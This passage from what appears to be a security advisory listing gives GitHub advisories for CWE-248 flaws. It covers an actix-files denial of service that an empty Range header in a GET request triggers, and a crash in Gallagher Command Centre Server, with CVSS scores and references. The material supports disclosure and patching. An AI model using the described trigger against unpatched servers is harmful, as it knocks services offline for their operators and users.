},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/may-2025-security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V47C-94R2-RJM7
Vulnerability from github – Published: 2026-08-14 12:31 – Updated: 2026-08-14 12:31actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.
{
"affected": [],
"aliases": [
"CVE-2026-72813"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T12:16:44Z",
"severity": "MODERATE"
},
"details": "actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.",
"id": "GHSA-v47c-94r2-rjm7",
"modified": "2026-08-14T12:31:25Z",
"published": "2026-08-14T12:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/actix/actix-web/security/advisories/GHSA-gcqf-3g44-vc9p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72813"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/actix-files-before-denial-of-service-via-empty-range-header"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V554-GP5G-23RQ
Vulnerability from github – Published: 2025-10-23 06:31 – Updated: 2025-10-23 06:31Uncaught Exception (CWE-248) in the Command Centre Server allows an Authorized and Privileged Operator to crash the Command Centre Server at will.
This issue affects Command Centre Server:
9.30 prior to vEL9.30.2482 (MR2), 9.20 prior to vEL9.20.2819 (MR4), 9.10 prior to vEL9.10.3672 (MR7), 9.00 prior to vEL9.00.3831 (MR8), all versions of 8.90 and prior.
{
"affected": [],
"aliases": [
"CVE-2025-48430"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-23T04:16:40Z",
"severity": "MODERATE"
},
"details": "Uncaught Exception (CWE-248) in the Command Centre Server allows an Authorized and Privileged Operator to crash the Command Centre Server at will.\n\nThis issue affects Command Centre Server: \n\n9.30 prior to vEL9.30.2482 (MR2), 9.20 prior to vEL9.20.2819 (MR4), 9.10 prior to vEL9.10.3672 (MR7), 9.00 prior to vEL9.00.3831 (MR8), all versions of 8.90 and prior.",
"id": "GHSA-v554-gp5g-23rq",
"modified": "2025-10-23T06:31:00Z",
"published": "2025-10-23T06:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48430"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-48430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.